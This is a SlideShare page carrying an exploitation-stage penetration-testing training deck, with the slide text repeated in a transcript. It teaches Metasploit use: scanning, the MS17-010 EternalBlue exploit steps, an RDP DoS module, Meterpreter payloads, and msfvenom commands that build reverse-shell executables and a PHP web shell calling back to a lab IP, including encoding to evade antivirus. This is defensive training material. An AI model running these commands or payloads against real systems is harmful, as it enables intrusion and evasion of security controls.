SlideShare a Scribd company logo
www.prismacsi.com
© All Rights Reserved.
1
Practical White Hat Hacker Training #5
Exploitation
This document may be quoted or shared, but cannot be modified or used for commercial purposes.
For more information, visit https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
www.prismacsi.com
© All Rights Reserved.
2
Exploit Stage Topics
• What is an exploit?
• Types of exploits
• Local, remote and 0day exploits
• Exploit Databases
• Example Exploit Scenarios
• Exploit Execution and Usage Scenarios
• Exploit Frameworks
• Payload Concept
• Metasploit Framework
• Antivirus Evasion Software
• Veil-Evasion
• Shellter
• Application
www.prismacsi.com
© All Rights Reserved.
3
Basic Concepts
• What’s an exploit?
• The name given to tools developed to exploit a vulnerability.
• Also called exploitation code.
• Local Exploit
• Remote Exploit
• Web Exploit
• DoS Exploit
• 0day Exploit
• What’s a Payload?
• A piece of malicious code that performs a given desired action after an exploit
www.prismacsi.com
© All Rights Reserved.
4
Exploit Databases
• A holding container for a massive
number of exploits.
Discovered/detected software and
service exploits can be searched for
in these databases.
• Exploit-db.com
• Securityfocus.com
• 0day.today
• Exploits.shodan.io
• Iedb.ir
• Cxsecurity.com/exploit
• Rapid7.com/db
www.prismacsi.com
© All Rights Reserved.
5
Exploit Development Languages
• In which programming languages are exploits generally written?
• Python
• C / C++
• Perl
• PHP
• Ruby
• Why was the Framework concept conceived?
• Metasploit Framework example
www.prismacsi.com
© All Rights Reserved.
6
Exploit Execution / Use– Demo
www.prismacsi.com
© All Rights Reserved.
7
Exploit Editing
• Exploits don’t execute on every system.
• Parameters may vary according to features such as operating system, processor architecture,
system language.
• In this case you may need to edit the exploit and then execute it afterwards.
• Replicas of target system can be created in a laboratory environment for experiments.
• Assume you only have one chance to attack!
• A system crash may be the end of everything.
www.prismacsi.com
© All Rights Reserved.
8
Exploit Example - Scenario
• Consider a bank’s credit calculation area!
• Where is the calculation performed? ( Server? Client? )
• What if we perform the request specified in the scenario thousands of times within a minute?
• This is an example of a simple DoS ExploitJ
www.prismacsi.com
© All Rights Reserved.
9
Exploit Frameworks
• Metasploit Community
• Metasploit Pro
• Core Impact
• Exploithub
• BeEF
www.prismacsi.com
© All Rights Reserved.
10
Metasploit Framework
• Metasploit Framework
• Installation
• Basic Commands
• Auxiliary modules
• Exploit use
• Payload listi and Meterpreter use
• Output analysis
• Post Exploitation
www.prismacsi.com
© All Rights Reserved.
11
Metasploit Framework
• It’s an open source software.
• Pro version is available but the community
version will be sufficient for this course .
• Exploits
• Payloads
• Auxiliary modules
• Encoders
• Post exploits
www.prismacsi.com
© All Rights Reserved.
12
Metasploit Framework
• Visit the link below for installation instructions:
• https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
• Update:
• msfupdate
www.prismacsi.com
© All Rights Reserved.
13
Metasploit Framework
www.prismacsi.com
© All Rights Reserved.
14
Metasploit Framework
• Start
• Begin by typing msfconsole
in the command line.
• You can check the database status
with the following command:
• db_status
www.prismacsi.com
© All Rights Reserved.
15
Metasploit Framework
• Workspace concept
• Use the workspace to list all the
available workspaces.
• workspace -a prisma
creates a prisma workspace.
• workspace prisma
Switch to prisma workspace.
• workspace -d prisma
delete the prisma workspace.
www.prismacsi.com
© All Rights Reserved.
16
Metasploit Framework
www.prismacsi.com
© All Rights Reserved.
17
Metasploit Framework
• Working with Nessus, Nmap outputs
You can use the output of scanning software in integration with metasploit. This is one of the best features of
the Metasploit Framework.
• db_import nmap.xml
import nmap output.
• db_import nessus-report.nessus
import nessus output.
• db_export -f xml /tmp/prisma.xml
export the data in your workspace.
www.prismacsi.com
© All Rights Reserved.
18
Metasploit Framework
www.prismacsi.com
© All Rights Reserved.
19
Metasploit Framework
www.prismacsi.com
© All Rights Reserved.
20
Metasploit Framework
• Workspace data :
• hosts
• services
• creds
• loots
www.prismacsi.com
© All Rights Reserved.
21
Metasploit Framework
• Hosts command
• Db_nmap –sS –Pn –n 10.0.1.0/24
You can perform nmap scans with the command. host command can be used to view all IP addresses
discovered from the output of this command.
• hosts –h
You can access all the command functions with the above command
• hosts –R
Used to add addresses to the RHOST parameter.
www.prismacsi.com
© All Rights Reserved.
22
Metasploit Framework
www.prismacsi.com
© All Rights Reserved.
23
Metasploit Framework
• Services command
• db_nmap –sS –Pn –n 10.0.1.0/24 –sV
Used to execute an nmap scan. After the output of this command, you can view the ports on all IP
addresses and the services running on them with the services command.
• services –h .
You can access all the services command functions with the above command
• services –p 445
• services –S http
• services –p 80 -R
www.prismacsi.com
© All Rights Reserved.
24
Metasploit Framework
www.prismacsi.com
© All Rights Reserved.
25
Metasploit Basic Command List
• help
• Help command
• banner
• Allows you to take awesome screenshotsJ
• info
• Get information on any plugin
• info exploit/windows/smb/psexec
• search
• Search command
• search ms17-010
www.prismacsi.com
© All Rights Reserved.
26
Metasploit Basic Command List
• use
• Select an exploit
• use exploit/windows/smb/psexec
• set
• Exploit
• info
• Acquire information on any plugin
• info exploit/windows/smb/psexec
• search
• Search command
• search ms17-010
www.prismacsi.com
© All Rights Reserved.
27
Metasploit Framework - Help
www.prismacsi.com
© All Rights Reserved.
28
Metasploit Framework - Banner
www.prismacsi.com
© All Rights Reserved.
29
Metasploit Framework - Info
www.prismacsi.com
© All Rights Reserved.
30
Metasploit Basic Command List
• set
• Used to assign values to a parameter.
• set RHOST 10.0.1.5
• setg
• Used to assign a parameter value as global.
• unset
• Used to reset parameter values.
• show
• Show namesJ
• use
• Activates a plugin.
www.prismacsi.com
© All Rights Reserved.
31
Metasploit Basic Command List
• run and exploit
• Used to run a plugin.
• load and unload
• Used to activate or deactivate a module.
• exit
• Exiting command
www.prismacsi.com
© All Rights Reserved.
32
Metasploit Show Command
• show payloads
• List Payloads
• show targets
• List operating systems suitable for attacks with a given plugin
• show options
• Show setting parameters for a plugin
• show encoders
• List all encoders
www.prismacsi.com
© All Rights Reserved.
33
Auxillary Modules and Use
• show auxillary
• search smb_login
• use auxillary/dos/windows/rdp/ms12_020
• set RHOST
• set RPORT
• run
www.prismacsi.com
© All Rights Reserved.
34
Exploit Attempt (MS17-010)
• search netapi
• info exploit/windows/smb/ms17_010_eternalblue
• use exploit/windows/smb/ms17_010_eternalblue
• show options
• set payload windows/meterpreter/bind_tcp
• set LHOST,
• set RHOST
• set RPORT
• exploit
www.prismacsi.com
© All Rights Reserved.
35
Payload Examples
• set PAYLOAD windows/meterpreter/reverse_http
• set PAYLOAD windows/shell/bind_tcp
• set PAYLOAD linux/x86/meterpreter/reverse_https
• set PAYLOAD php/meterpreter/bind_tcp
• set PAYLOAD java/meterpreter/bind_tcp
• set PAYLOAD /windows/vncinject/reverse_tcp
www.prismacsi.com
© All Rights Reserved.
36
Reverse/Bind Shell
www.prismacsi.com
© All Rights Reserved.
37
Session Management
• exploit/multi/handler
• Can be used as a listener.
• Listener can be run as a job to get connections from multiple targets.
• jobs :
• exploit –j
• jobs command is used for listing jobs.
www.prismacsi.com
© All Rights Reserved.
38
Session Management
• You can manage all sessions obtained with the sessions command.
• sessions –l : list sessions
• session –i 1 : 1. Interact with session
• sessions –K : end all sessions
• sessions –u : upgrade a session to meterpreter session
• kill : used to kill a session.
• background : takes the session into the background and returns to the metasploit console.
www.prismacsi.com
© All Rights Reserved.
39
Exploit Search
• Searchsploit
www.prismacsi.com
© All Rights Reserved.
40
What’s Msfvenom?
• There may be no direct vulnerability in the target system.
• In this case, it may be necessary to try to penetrate the system in different ways.
• For example if a created malicious .exe file is somehow successfully uploaded and executed on a system then
the system can be captured.
• Or you might want to upload a malicious shell written in php on to a web application with a file upload
vulnerability and get a terminal connection on metasploit.
• That's where msfvenom comes into play!
www.prismacsi.com
© All Rights Reserved.
41
Msfvenom Use
• Msfvenom basic commands
• msfvenom -h
• msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.10.10 lport=1337-f exe > shell.exe
• msfvenom -p php/meterpreter/reverse_tcp lhost=172.16.10.10. lport=4444 -f raw > exp.php
• msfvenom - p windows/meterpreter/reverse_tcp lhost=172.16.10.10 lport=4444 -f war -a x86
www.prismacsi.com
© All Rights Reserved.
42
Msfvenom AV Evasion- Demonstration
• msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.10.10 lport=1337 -e x86/shikata_ga_nai -i 15
-f exe -o shell.exe
www.prismacsi.com
© All Rights Reserved.
43
Msfvenom Help
www.prismacsi.com
© All Rights Reserved.
44
Msfvenom PHP Payload Contents
www.prismacsi.com
© All Rights Reserved.
45
Download Metasploit Additional Plugins
• https://github.com/darkoperator/Metasploit-Plugins
www.prismacsi.com
© All Rights Reserved.
46
Loading Metasploit Features
• Files are added manually under ~/.msf4/plugin/
www.prismacsi.com
© All Rights Reserved.
47
Armitage Use
• Metasploit Framework GUI
• Used to perform actions quickly
• The interface is a little easier to use compared to the console application
www.prismacsi.com
© All Rights Reserved.
48
Armitage Use
• Adding a host
www.prismacsi.com
© All Rights Reserved.
49
Armitage Use
• Host scanning
www.prismacsi.com
© All Rights Reserved.
50
Armitage Use
• Scan Results
www.prismacsi.com
© All Rights Reserved.
51
Armitage Use
• Finding an attack vector
www.prismacsi.com
© All Rights Reserved.
52
Armitage Use
• Java_rmi_attack
www.prismacsi.com
© All Rights Reserved.
53
Armitage Use
• Java_rmi_attack
• Meterpreter session
www.prismacsi.com
© All Rights Reserved.
54
Antivirus Evasion Tools
• An antivirus mechanism may be found in target systems.
• In this case the attacks should be performed with much more caution.
• There are tools developed to bypass antiviruses.
• Used tools
• Veil-Evasion
• Shellter
• Av0id
• Msfvenom
www.prismacsi.com
© All Rights Reserved.
55
Veil-Evasion Installation
www.prismacsi.com
© All Rights Reserved.
56
Veil-Evasion Payload Selection
www.prismacsi.com
© All Rights Reserved.
57
Veil-Evasion Payload Configuration
www.prismacsi.com
© All Rights Reserved.
58
Veil-Evasion Payload Creation - DEMO
www.prismacsi.com
© All Rights Reserved.
59
Virustotal Scanning
www.prismacsi.com
© All Rights Reserved.
60
Shellter Installation
www.prismacsi.com
© All Rights Reserved.
61
Shellter Use – DEMO
www.prismacsi.com
© All Rights Reserved.
62
Virustotal Scanning
www.prismacsi.com
© All Rights Reserved.
63
Applications
www.prismacsi.com
© All Rights Reserved.
64
Questions?
www.prismacsi.com
© All Rights Reserved.
65
www.prismacsi.com
info@prismacsi.com
0 850 303 85 35
/prismacsi
Contacts

More Related Content

PDF
Practical White Hat Hacker Training - Vulnerability Detection
PDF
Practical White Hat Hacker Training - Active Information Gathering
PDF
Practical White Hat Hacker Training - Post Exploitation
PDF
Practical White Hat Hacker Training - Introduction to Cyber Security
PPTX
Detection Rules Coverage
PDF
Web security for developers
PPTX
DC612 Day - Hands on Penetration Testing 101
PDF
Coporate Espionage
Practical White Hat Hacker Training - Vulnerability Detection
Practical White Hat Hacker Training - Active Information Gathering
Practical White Hat Hacker Training - Post Exploitation
Practical White Hat Hacker Training - Introduction to Cyber Security
Detection Rules Coverage
Web security for developers
DC612 Day - Hands on Penetration Testing 101
Coporate Espionage

What's hot (20)

PDF
Introduction to red team operations
PDF
Threat Con 2021: What's Hitting my Honeypots
PDF
Lateral Movement: How attackers quietly traverse your Network
PDF
Infosecurity.be 2019: What are relevant open source security tools you should...
PDF
Csw2016 freingruber bypassing_application_whitelisting
PPTX
Sticky Keys to the Kingdom
PDF
Internal Pentest: from z3r0 to h3r0
PPTX
ModSecurity and NGINX: Tuning the OWASP Core Rule Set
PPTX
External to DA, the OS X Way
PDF
SWAT Style – Live Network Crypto Hacking and Exploitation by Kevin Cardwell a...
PPTX
Outlook and Exchange for the bad guys
PDF
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
PDF
Security events in 2014
PDF
ModSecurity and NGINX: Tuning the OWASP Core Rule Set - EMEA
PDF
Anatomy of a Cloud Hack
PDF
1000 to 0
PDF
Ch 6: Attacking Authentication
PPTX
Breadcrumbs to Loaves: BSides Austin '17
PDF
Fantastic Red Team Attacks and How to Find Them
PPTX
Lateral Movement - Phreaknik 2016
Introduction to red team operations
Threat Con 2021: What's Hitting my Honeypots
Lateral Movement: How attackers quietly traverse your Network
Infosecurity.be 2019: What are relevant open source security tools you should...
Csw2016 freingruber bypassing_application_whitelisting
Sticky Keys to the Kingdom
Internal Pentest: from z3r0 to h3r0
ModSecurity and NGINX: Tuning the OWASP Core Rule Set
External to DA, the OS X Way
SWAT Style – Live Network Crypto Hacking and Exploitation by Kevin Cardwell a...
Outlook and Exchange for the bad guys
CSW2017 Yuhao song+Huimingliu cyber_wmd_vulnerable_IoT
Security events in 2014
ModSecurity and NGINX: Tuning the OWASP Core Rule Set - EMEA
Anatomy of a Cloud Hack
1000 to 0
Ch 6: Attacking Authentication
Breadcrumbs to Loaves: BSides Austin '17
Fantastic Red Team Attacks and How to Find Them
Lateral Movement - Phreaknik 2016

Similar to Practical White Hat Hacker Training - Exploitation (20)

PDF
Metasploit Humla for Beginner
PDF
01 Metasploit kung fu introduction
PPTX
Metasploit
PDF
Metasploit: Pwnage and Ponies
PPTX
Pentesting with linux
PPTX
Metasploit framwork
PDF
Metasploit Computer security testing tool
PPTX
Finalppt metasploit
DOCX
Backtrack Manual Part6
PPTX
Intro to exploits in metasploitand payloads in msfvenom
PPTX
Introduction To Exploitation & Metasploit
PDF
24 33 -_metasploit
PDF
Metasploit for Penetration Testing: Beginner Class
PPTX
Metasploit Framework and Payloads supported
PPTX
metaploit framework
PDF
Metasploit
PDF
Open Source Cyber Weaponry
DOCX
Backtrack Manual Part7
PDF
SSMF (Security Scope Metasploit Framework) - Course Syllabus
Metasploit Humla for Beginner
01 Metasploit kung fu introduction
Metasploit
Metasploit: Pwnage and Ponies
Pentesting with linux
Metasploit framwork
Metasploit Computer security testing tool
Finalppt metasploit
Backtrack Manual Part6
Intro to exploits in metasploitand payloads in msfvenom
Introduction To Exploitation & Metasploit
24 33 -_metasploit
Metasploit for Penetration Testing: Beginner Class
Metasploit Framework and Payloads supported
metaploit framework
Metasploit
Open Source Cyber Weaponry
Backtrack Manual Part7
SSMF (Security Scope Metasploit Framework) - Course Syllabus

More from PRISMA CSI (12)

PDF
Sysmon ile Log Toplama
PDF
Practical White Hat Hacker Training - Passive Information Gathering(OSINT)
PDF
Beyaz Şapkalı Hacker CEH Eğitimi - Parola Kırma Saldırıları
PDF
Sızma Testi Metodolojileri
PDF
Sızma (Penetrasyon) Testi Nedir?
PDF
Beyaz Şapkalı Hacker CEH Eğitimi - Post Exploit Aşaması
PDF
Beyaz Şapkalı Hacker CEH Eğitimi - Zafiyet Keşfi
PDF
Beyaz Şapkalı Hacker CEH Eğitimi - Exploit Aşaması
PDF
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
PDF
Beyaz Şapkalı Hacker CEH Eğitimi - Siber Güvenlik Temelleri
PDF
Beyaz Şapkalı Hacker CEH Eğitimi - Pasif Bilgi Toplama (OSINT)
PDF
Kaynak Kod Analiz Süreci
Sysmon ile Log Toplama
Practical White Hat Hacker Training - Passive Information Gathering(OSINT)
Beyaz Şapkalı Hacker CEH Eğitimi - Parola Kırma Saldırıları
Sızma Testi Metodolojileri
Sızma (Penetrasyon) Testi Nedir?
Beyaz Şapkalı Hacker CEH Eğitimi - Post Exploit Aşaması
Beyaz Şapkalı Hacker CEH Eğitimi - Zafiyet Keşfi
Beyaz Şapkalı Hacker CEH Eğitimi - Exploit Aşaması
Beyaz Şapkalı Hacker CEH Eğitimi - Aktif Bilgi Toplama
Beyaz Şapkalı Hacker CEH Eğitimi - Siber Güvenlik Temelleri
Beyaz Şapkalı Hacker CEH Eğitimi - Pasif Bilgi Toplama (OSINT)
Kaynak Kod Analiz Süreci

Recently uploaded (20)

PDF
TR - Agricultural Crops Production NC III.pdf
PDF
Physiotherapy_for_Respiratory_and_Cardiac_Problems WEBBER.pdf
PPTX
Final Presentation General Medicine 03-08-2024.pptx
PDF
STATICS OF THE RIGID BODIES Hibbelers.pdf
PPTX
Pharmacology of Heart Failure /Pharmacotherapy of CHF
PDF
Computing-Curriculum for Schools in Ghana
PPTX
PPH.pptx obstetrics and gynecology in nursing
PDF
2.FourierTransform-ShortQuestionswithAnswers.pdf
PDF
The Lost Whites of Pakistan by Jahanzaib Mughal.pdf
PDF
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH 9 GLOBAL SUCCESS - CẢ NĂM - BÁM SÁT FORM Đ...
PPTX
Pharma ospi slides which help in ospi learning
PDF
O7-L3 Supply Chain Operations - ICLT Program
PDF
Insiders guide to clinical Medicine.pdf
PDF
Microbial disease of the cardiovascular and lymphatic systems
PDF
Module 4: Burden of Disease Tutorial Slides S2 2025
PPTX
IMMUNITY IMMUNITY refers to protection against infection, and the immune syst...
PPTX
Microbial diseases, their pathogenesis and prophylaxis
PDF
ANTIBIOTICS.pptx.pdf………………… xxxxxxxxxxxxx
PDF
Abdominal Access Techniques with Prof. Dr. R K Mishra
PPTX
PPT- ENG7_QUARTER1_LESSON1_WEEK1. IMAGERY -DESCRIPTIONS pptx.pptx
TR - Agricultural Crops Production NC III.pdf
Physiotherapy_for_Respiratory_and_Cardiac_Problems WEBBER.pdf
Final Presentation General Medicine 03-08-2024.pptx
STATICS OF THE RIGID BODIES Hibbelers.pdf
Pharmacology of Heart Failure /Pharmacotherapy of CHF
Computing-Curriculum for Schools in Ghana
PPH.pptx obstetrics and gynecology in nursing
2.FourierTransform-ShortQuestionswithAnswers.pdf
The Lost Whites of Pakistan by Jahanzaib Mughal.pdf
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH 9 GLOBAL SUCCESS - CẢ NĂM - BÁM SÁT FORM Đ...
Pharma ospi slides which help in ospi learning
O7-L3 Supply Chain Operations - ICLT Program
Insiders guide to clinical Medicine.pdf
Microbial disease of the cardiovascular and lymphatic systems
Module 4: Burden of Disease Tutorial Slides S2 2025
IMMUNITY IMMUNITY refers to protection against infection, and the immune syst...
Microbial diseases, their pathogenesis and prophylaxis
ANTIBIOTICS.pptx.pdf………………… xxxxxxxxxxxxx
Abdominal Access Techniques with Prof. Dr. R K Mishra
PPT- ENG7_QUARTER1_LESSON1_WEEK1. IMAGERY -DESCRIPTIONS pptx.pptx

Practical White Hat Hacker Training - Exploitation

  • 1. www.prismacsi.com © All Rights Reserved. 1 Practical White Hat Hacker Training #5 Exploitation This document may be quoted or shared, but cannot be modified or used for commercial purposes. For more information, visit https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
  • 2. www.prismacsi.com © All Rights Reserved. 2 Exploit Stage Topics • What is an exploit? • Types of exploits • Local, remote and 0day exploits • Exploit Databases • Example Exploit Scenarios • Exploit Execution and Usage Scenarios • Exploit Frameworks • Payload Concept • Metasploit Framework • Antivirus Evasion Software • Veil-Evasion • Shellter • Application
  • 3. www.prismacsi.com © All Rights Reserved. 3 Basic Concepts • What’s an exploit? • The name given to tools developed to exploit a vulnerability. • Also called exploitation code. • Local Exploit • Remote Exploit • Web Exploit • DoS Exploit • 0day Exploit • What’s a Payload? • A piece of malicious code that performs a given desired action after an exploit
  • 4. www.prismacsi.com © All Rights Reserved. 4 Exploit Databases • A holding container for a massive number of exploits. Discovered/detected software and service exploits can be searched for in these databases. • Exploit-db.com • Securityfocus.com • 0day.today • Exploits.shodan.io • Iedb.ir • Cxsecurity.com/exploit • Rapid7.com/db
  • 5. www.prismacsi.com © All Rights Reserved. 5 Exploit Development Languages • In which programming languages are exploits generally written? • Python • C / C++ • Perl • PHP • Ruby • Why was the Framework concept conceived? • Metasploit Framework example
  • 6. www.prismacsi.com © All Rights Reserved. 6 Exploit Execution / Use– Demo
  • 7. www.prismacsi.com © All Rights Reserved. 7 Exploit Editing • Exploits don’t execute on every system. • Parameters may vary according to features such as operating system, processor architecture, system language. • In this case you may need to edit the exploit and then execute it afterwards. • Replicas of target system can be created in a laboratory environment for experiments. • Assume you only have one chance to attack! • A system crash may be the end of everything.
  • 8. www.prismacsi.com © All Rights Reserved. 8 Exploit Example - Scenario • Consider a bank’s credit calculation area! • Where is the calculation performed? ( Server? Client? ) • What if we perform the request specified in the scenario thousands of times within a minute? • This is an example of a simple DoS ExploitJ
  • 9. www.prismacsi.com © All Rights Reserved. 9 Exploit Frameworks • Metasploit Community • Metasploit Pro • Core Impact • Exploithub • BeEF
  • 10. www.prismacsi.com © All Rights Reserved. 10 Metasploit Framework • Metasploit Framework • Installation • Basic Commands • Auxiliary modules • Exploit use • Payload listi and Meterpreter use • Output analysis • Post Exploitation
  • 11. www.prismacsi.com © All Rights Reserved. 11 Metasploit Framework • It’s an open source software. • Pro version is available but the community version will be sufficient for this course . • Exploits • Payloads • Auxiliary modules • Encoders • Post exploits
  • 12. www.prismacsi.com © All Rights Reserved. 12 Metasploit Framework • Visit the link below for installation instructions: • https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers • Update: • msfupdate
  • 13. www.prismacsi.com © All Rights Reserved. 13 Metasploit Framework
  • 14. www.prismacsi.com © All Rights Reserved. 14 Metasploit Framework • Start • Begin by typing msfconsole in the command line. • You can check the database status with the following command: • db_status
  • 15. www.prismacsi.com © All Rights Reserved. 15 Metasploit Framework • Workspace concept • Use the workspace to list all the available workspaces. • workspace -a prisma creates a prisma workspace. • workspace prisma Switch to prisma workspace. • workspace -d prisma delete the prisma workspace.
  • 16. www.prismacsi.com © All Rights Reserved. 16 Metasploit Framework
  • 17. www.prismacsi.com © All Rights Reserved. 17 Metasploit Framework • Working with Nessus, Nmap outputs You can use the output of scanning software in integration with metasploit. This is one of the best features of the Metasploit Framework. • db_import nmap.xml import nmap output. • db_import nessus-report.nessus import nessus output. • db_export -f xml /tmp/prisma.xml export the data in your workspace.
  • 18. www.prismacsi.com © All Rights Reserved. 18 Metasploit Framework
  • 19. www.prismacsi.com © All Rights Reserved. 19 Metasploit Framework
  • 20. www.prismacsi.com © All Rights Reserved. 20 Metasploit Framework • Workspace data : • hosts • services • creds • loots
  • 21. www.prismacsi.com © All Rights Reserved. 21 Metasploit Framework • Hosts command • Db_nmap –sS –Pn –n 10.0.1.0/24 You can perform nmap scans with the command. host command can be used to view all IP addresses discovered from the output of this command. • hosts –h You can access all the command functions with the above command • hosts –R Used to add addresses to the RHOST parameter.
  • 22. www.prismacsi.com © All Rights Reserved. 22 Metasploit Framework
  • 23. www.prismacsi.com © All Rights Reserved. 23 Metasploit Framework • Services command • db_nmap –sS –Pn –n 10.0.1.0/24 –sV Used to execute an nmap scan. After the output of this command, you can view the ports on all IP addresses and the services running on them with the services command. • services –h . You can access all the services command functions with the above command • services –p 445 • services –S http • services –p 80 -R
  • 24. www.prismacsi.com © All Rights Reserved. 24 Metasploit Framework
  • 25. www.prismacsi.com © All Rights Reserved. 25 Metasploit Basic Command List • help • Help command • banner • Allows you to take awesome screenshotsJ • info • Get information on any plugin • info exploit/windows/smb/psexec • search • Search command • search ms17-010
  • 26. www.prismacsi.com © All Rights Reserved. 26 Metasploit Basic Command List • use • Select an exploit • use exploit/windows/smb/psexec • set • Exploit • info • Acquire information on any plugin • info exploit/windows/smb/psexec • search • Search command • search ms17-010
  • 27. www.prismacsi.com © All Rights Reserved. 27 Metasploit Framework - Help
  • 28. www.prismacsi.com © All Rights Reserved. 28 Metasploit Framework - Banner
  • 29. www.prismacsi.com © All Rights Reserved. 29 Metasploit Framework - Info
  • 30. www.prismacsi.com © All Rights Reserved. 30 Metasploit Basic Command List • set • Used to assign values to a parameter. • set RHOST 10.0.1.5 • setg • Used to assign a parameter value as global. • unset • Used to reset parameter values. • show • Show namesJ • use • Activates a plugin.
  • 31. www.prismacsi.com © All Rights Reserved. 31 Metasploit Basic Command List • run and exploit • Used to run a plugin. • load and unload • Used to activate or deactivate a module. • exit • Exiting command
  • 32. www.prismacsi.com © All Rights Reserved. 32 Metasploit Show Command • show payloads • List Payloads • show targets • List operating systems suitable for attacks with a given plugin • show options • Show setting parameters for a plugin • show encoders • List all encoders
  • 33. www.prismacsi.com © All Rights Reserved. 33 Auxillary Modules and Use • show auxillary • search smb_login • use auxillary/dos/windows/rdp/ms12_020 • set RHOST • set RPORT • run
  • 34. www.prismacsi.com © All Rights Reserved. 34 Exploit Attempt (MS17-010) • search netapi • info exploit/windows/smb/ms17_010_eternalblue • use exploit/windows/smb/ms17_010_eternalblue • show options • set payload windows/meterpreter/bind_tcp • set LHOST, • set RHOST • set RPORT • exploit
  • 35. www.prismacsi.com © All Rights Reserved. 35 Payload Examples • set PAYLOAD windows/meterpreter/reverse_http • set PAYLOAD windows/shell/bind_tcp • set PAYLOAD linux/x86/meterpreter/reverse_https • set PAYLOAD php/meterpreter/bind_tcp • set PAYLOAD java/meterpreter/bind_tcp • set PAYLOAD /windows/vncinject/reverse_tcp
  • 36. www.prismacsi.com © All Rights Reserved. 36 Reverse/Bind Shell
  • 37. www.prismacsi.com © All Rights Reserved. 37 Session Management • exploit/multi/handler • Can be used as a listener. • Listener can be run as a job to get connections from multiple targets. • jobs : • exploit –j • jobs command is used for listing jobs.
  • 38. www.prismacsi.com © All Rights Reserved. 38 Session Management • You can manage all sessions obtained with the sessions command. • sessions –l : list sessions • session –i 1 : 1. Interact with session • sessions –K : end all sessions • sessions –u : upgrade a session to meterpreter session • kill : used to kill a session. • background : takes the session into the background and returns to the metasploit console.
  • 39. www.prismacsi.com © All Rights Reserved. 39 Exploit Search • Searchsploit
  • 40. www.prismacsi.com © All Rights Reserved. 40 What’s Msfvenom? • There may be no direct vulnerability in the target system. • In this case, it may be necessary to try to penetrate the system in different ways. • For example if a created malicious .exe file is somehow successfully uploaded and executed on a system then the system can be captured. • Or you might want to upload a malicious shell written in php on to a web application with a file upload vulnerability and get a terminal connection on metasploit. • That's where msfvenom comes into play!
  • 41. www.prismacsi.com © All Rights Reserved. 41 Msfvenom Use • Msfvenom basic commands • msfvenom -h • msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.10.10 lport=1337-f exe > shell.exe • msfvenom -p php/meterpreter/reverse_tcp lhost=172.16.10.10. lport=4444 -f raw > exp.php • msfvenom - p windows/meterpreter/reverse_tcp lhost=172.16.10.10 lport=4444 -f war -a x86
  • 42. www.prismacsi.com © All Rights Reserved. 42 Msfvenom AV Evasion- Demonstration • msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.10.10 lport=1337 -e x86/shikata_ga_nai -i 15 -f exe -o shell.exe
  • 43. www.prismacsi.com © All Rights Reserved. 43 Msfvenom Help
  • 44. www.prismacsi.com © All Rights Reserved. 44 Msfvenom PHP Payload Contents
  • 45. www.prismacsi.com © All Rights Reserved. 45 Download Metasploit Additional Plugins • https://github.com/darkoperator/Metasploit-Plugins
  • 46. www.prismacsi.com © All Rights Reserved. 46 Loading Metasploit Features • Files are added manually under ~/.msf4/plugin/
  • 47. www.prismacsi.com © All Rights Reserved. 47 Armitage Use • Metasploit Framework GUI • Used to perform actions quickly • The interface is a little easier to use compared to the console application
  • 48. www.prismacsi.com © All Rights Reserved. 48 Armitage Use • Adding a host
  • 49. www.prismacsi.com © All Rights Reserved. 49 Armitage Use • Host scanning
  • 50. www.prismacsi.com © All Rights Reserved. 50 Armitage Use • Scan Results
  • 51. www.prismacsi.com © All Rights Reserved. 51 Armitage Use • Finding an attack vector
  • 52. www.prismacsi.com © All Rights Reserved. 52 Armitage Use • Java_rmi_attack
  • 53. www.prismacsi.com © All Rights Reserved. 53 Armitage Use • Java_rmi_attack • Meterpreter session
  • 54. www.prismacsi.com © All Rights Reserved. 54 Antivirus Evasion Tools • An antivirus mechanism may be found in target systems. • In this case the attacks should be performed with much more caution. • There are tools developed to bypass antiviruses. • Used tools • Veil-Evasion • Shellter • Av0id • Msfvenom
  • 55. www.prismacsi.com © All Rights Reserved. 55 Veil-Evasion Installation
  • 56. www.prismacsi.com © All Rights Reserved. 56 Veil-Evasion Payload Selection
  • 57. www.prismacsi.com © All Rights Reserved. 57 Veil-Evasion Payload Configuration
  • 58. www.prismacsi.com © All Rights Reserved. 58 Veil-Evasion Payload Creation - DEMO
  • 59. www.prismacsi.com © All Rights Reserved. 59 Virustotal Scanning
  • 60. www.prismacsi.com © All Rights Reserved. 60 Shellter Installation
  • 61. www.prismacsi.com © All Rights Reserved. 61 Shellter Use – DEMO
  • 62. www.prismacsi.com © All Rights Reserved. 62 Virustotal Scanning
  • 63. www.prismacsi.com © All Rights Reserved. 63 Applications
  • 64. www.prismacsi.com © All Rights Reserved. 64 Questions?
  • 65. www.prismacsi.com © All Rights Reserved. 65 www.prismacsi.com info@prismacsi.com 0 850 303 85 35 /prismacsi Contacts